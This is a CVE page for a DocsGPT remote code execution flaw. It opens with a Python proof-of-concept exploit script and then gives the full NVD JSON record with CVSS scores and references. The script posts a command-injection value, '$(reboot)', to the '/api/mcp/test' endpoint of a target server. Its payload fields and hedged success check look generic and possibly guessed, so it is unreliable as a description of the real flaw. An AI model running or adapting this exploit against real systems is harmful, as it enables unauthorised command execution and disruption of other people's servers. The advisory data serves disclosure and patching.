CVE-2026-26015

# PoC for CVE-2026-26015 (DocsGPT RCE via MCP Bypass) import requests def exploit(target): # The endpoint handling MCP tests in vulnerable versions url = f"{target}/api/mcp/test" # Malicious payload designed to bypass the 'MCP test' validation # The specific structure exploits the logic flaw to achieve RCE payload = { "input_data": "$(reboot)", # Example command to execute "test_type": "bypass_check" } try: print(f"[+] Sending payload to {target}...") response = requests.post(url, json=payload, timeout=10) if response.status_code == 200: print("[!] Potential exploit successful. Check server status.") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_host = "http://localhost:5000" # Replace with actual target exploit(target_host)

{"cve": {"id": "CVE-2026-26015", "sourceIdentifier": "[email protected]", "published": "2026-04-29T18:16:03.817", "lastModified": "2026-05-06T20:16:31.237", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "DocsGPT is a GPT-powered chat for documentation. From version 0.15.0 to before version 0.16.0, an attacker accessing both the official DocsGPT website or any local and public deployment, can craft a malicious payload bypassing the \"MCP test\" behavior to achieve arbitrary remote code execution (RCE). This issue has been patched in version 0.16.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arc53:docsgpt:0.15.0:*:*:*:*:*:*:*", "matchCriteriaId": "02A5F20D-8AA8-4080-BACC-E2719F8A3521"}]}]}], "references": [{"url": "https://github.com/arc53/DocsGPT/releases/tag/0.16.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/arc53/DocsGPT/security/advisories/GHSA-gcrq-f296-2j74", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/arc53/DocsGPT/security/advisories/GHSA-gcrq-f296-2j74", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}